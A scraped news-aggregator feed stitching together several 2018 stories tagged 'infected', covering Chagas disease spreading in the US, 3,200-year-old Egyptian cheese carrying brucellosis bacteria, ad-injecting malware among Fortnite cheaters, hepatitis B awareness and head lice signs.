]]> https://briefnews.eu/monkeypox-british-health-worker-infected-with-rare-disease/feed/ 0 Medics warn of dangerous ‘kissing bug’ disease as 300,000 Americans already infected https://briefnews.eu/medics-warn-of-dangerous-kissing-bug-disease-as-300000-americans-already-infected/ https://briefnews.eu/medics-warn-of-dangerous-kissing-bug-disease-as-300000-americans-already-infected/#respond Sat, 25 Aug 2018 21:06:11 +0000 http://briefnews.eu/medics-warn-of-dangerous-kissing-bug-disease-as-300000-americans-already-infected/ Health experts are warning that the potentially lethal parasitic disease spread by ‘kissing bugs’ has taken hold in the US, with more than 300,000 Americans contracting it.

The Chagas disease, which used to be contained in Central and South America (infecting at least eight million people) has reached the US, infecting hundreds of thousands across 27 states. It is also becoming more common in Spain, Italy, France, Switzerland, the UK, Australia and Japan.

Read more


© Mario Anzuoni

A statement from the American Heart Association (AHA), aimed at increasing global awareness among physicians, warns that US doctors need to learn to recognize and treat Chagas before a devastating outbreak occurs.

“Early detection of Chagas disease is critical, allowing prompt initiation of therapy when the evidence for cure is strong,” wrote Caryn Bern, professor of epidemiology and biostatistics at the University of California in San Francisco, in the online statement.

Doctors can detect the disease through a simple blood test and, if caught early, it can be treated by medication. “If untreated, infection is lifelong and can be life-threatening,” the CDC warns.

The Chagas disease is caused by a parasite transmitted by a blood-sucking insect called triatomine, known as the “kissing bug,” because it tends to bite people’s faces near their mouth and can cause strokes and heart failure. About 30 percent of infected people can develop life-threatening complications, including chronic heart disease.

READ MORE: ‘They will f*ck up’: Company involved in Flint water crisis bids to serve largest city in Africa

The bug then spreads the parasite, known as Trypanosoma cruzi (T cruzi), by defecating near the bite, which the victims can then unwittingly move into the open wound, or their eyes or mouth.

The disease has been labelled a silent killer because 70 percent of people don’t develop any signs of infection. Symptoms can include fever, lethargy, aches, rashes and swollen glands.

Like this story? Share it with a friend!

Let’s block ads! (Why?)

]]> https://briefnews.eu/medics-warn-of-dangerous-kissing-bug-disease-as-300000-americans-already-infected/feed/ 0 3,000yo Egyptian cheese infected with deadly disease unearthed at ancient burial site https://briefnews.eu/3000yo-egyptian-cheese-infected-with-deadly-disease-unearthed-at-ancient-burial-site/ https://briefnews.eu/3000yo-egyptian-cheese-infected-with-deadly-disease-unearthed-at-ancient-burial-site/#respond Fri, 17 Aug 2018 17:55:50 +0000 http://briefnews.eu/3000yo-egyptian-cheese-infected-with-deadly-disease-unearthed-at-ancient-burial-site/ Connoisseurs say that the taste of cheese improves with age – but what if it was left to age for 3,200 years? Archaeologists in Egypt now have the chance to find out, but it comes with an unexpected bonus: deadly ancient bacteria.

A team from the University of Catania in Italy found the cheese at the tomb of Ptahmes, a 13th-century BC mayor of Memphis in Egypt. The cheese was found wrapped with canvas inside a broken jar. It could be the most ancient cheese ever discovered, according to the team’s study, published in the journal Analytical Chemistry.

Read more


(File photo) © Tara Todras-Whitehill / Reuters

“The archaeologists suspected it was a kind of food left for the owner of the tomb and they decided to ask for chemical analyses,” said lead author Enrico Greco, a leader in the new field of ancient food discoveries known as ‘archaeofood.’

Ancient Egyptians may have dodged a potentially life-threatening bout of illness by not eating the cheese, after researchers found the specimen contained signs of a bacterium known to cause brucellosis, a deadly disease spread from animals to people via unpasteurised dairy.

The tomb of the Memphis city official was found to contain murals showing various barter scenes featuring cheese, a product that had a medicinal use in ancient times. It is also thought that cheese was included in feasts buried alongside wealthy Egyptians.

READ MORE: Yummy mummy: Over 4,000 people want to drink ‘skeleton juice’ from Egyptian sarcophagus

“Until now, we were not sure whether it was really part of the daily life of the ancient Egyptians,” said Greco. “We do not have much information on what the taste could be, we know it was made mostly from sheep’s and goat’s milk, but for me it’s really hard to imagine a specific flavor,” he added.

Like this story? Share it with a friend!

Let’s block ads! (Why?)

]]> https://briefnews.eu/3000yo-egyptian-cheese-infected-with-deadly-disease-unearthed-at-ancient-burial-site/feed/ 0 Rash of Fortnite cheaters infected by malware that breaks HTTPS encryption https://briefnews.eu/rash-of-fortnite-cheaters-infected-by-malware-that-breaks-https-encryption/ https://briefnews.eu/rash-of-fortnite-cheaters-infected-by-malware-that-breaks-https-encryption/#respond Wed, 04 Jul 2018 02:17:57 +0000 http://briefnews.eu/rash-of-fortnite-cheaters-infected-by-malware-that-breaks-https-encryption/

Enlarge (credit: Rainway)

Tens of thousands of Fortnite players have been infected by malware that hijacks encrypted Web sessions so it can inject fraudulent ads into every website a user visits, an executive with a game-streaming service said Monday.

Rainway CEO Andrew Sampson said in a blog post that company engineers first detected the mass infections last week when server logs reported hundreds of thousands of errors. The engineers soon discovered that the errors were the result of ads that somehow were injected into user traffic. Rainway uses a technique known as whitelisting that permits customers to connect only to approved URLs. The addresses hosting the fraudulent addresses—hosted on the adtelligent.com and springserve.com domains—along with unauthorized JavaScript that accompanied them made it clear the traffic was generated by malware infecting a large number of game players using the Rainway service. Rainway is a cloud-based service that lets people play PC games remotely, similar to PlayStation Now.

“As the errors kept flowing in, we took a glance at what these users had in common,” Sampson wrote. “They didn’t share any hardware, their ISPs were different, and all of their systems were up to date. However, one thing did stand out—they played Fortnite.”

Read 5 remaining paragraphs | Comments

]]> https://briefnews.eu/rash-of-fortnite-cheaters-infected-by-malware-that-breaks-https-encryption/feed/ 0 Hepatitis B: Four in five infected Britons don’t know they have the virus https://briefnews.eu/hepatitis-b-four-in-five-infected-britons-dont-know-they-have-the-virus/ https://briefnews.eu/hepatitis-b-four-in-five-infected-britons-dont-know-they-have-the-virus/#respond Tue, 27 Mar 2018 02:28:50 +0000 http://briefnews.eu/hepatitis-b-four-in-five-infected-britons-dont-know-they-have-the-virus/

FOUR in five Britons infected with hepatitis B do not even know they have it, a study warned.

]]> https://briefnews.eu/hepatitis-b-four-in-five-infected-britons-dont-know-they-have-the-virus/feed/ 0 Head lice warning: FIVE common signs of nits – are you infected? https://briefnews.eu/head-lice-warning-five-common-signs-of-nits-are-you-infected/ https://briefnews.eu/head-lice-warning-five-common-signs-of-nits-are-you-infected/#respond Sun, 04 Feb 2018 19:53:01 +0000 http://briefnews.eu/head-lice-warning-five-common-signs-of-nits-are-you-infected/

NITS are tiny brown insects that live in human hair. Signs of head lice infestation include itchy heads and finding tiny white eggs in your hair.

]]> https://briefnews.eu/head-lice-warning-five-common-signs-of-nits-are-you-infected/feed/ 0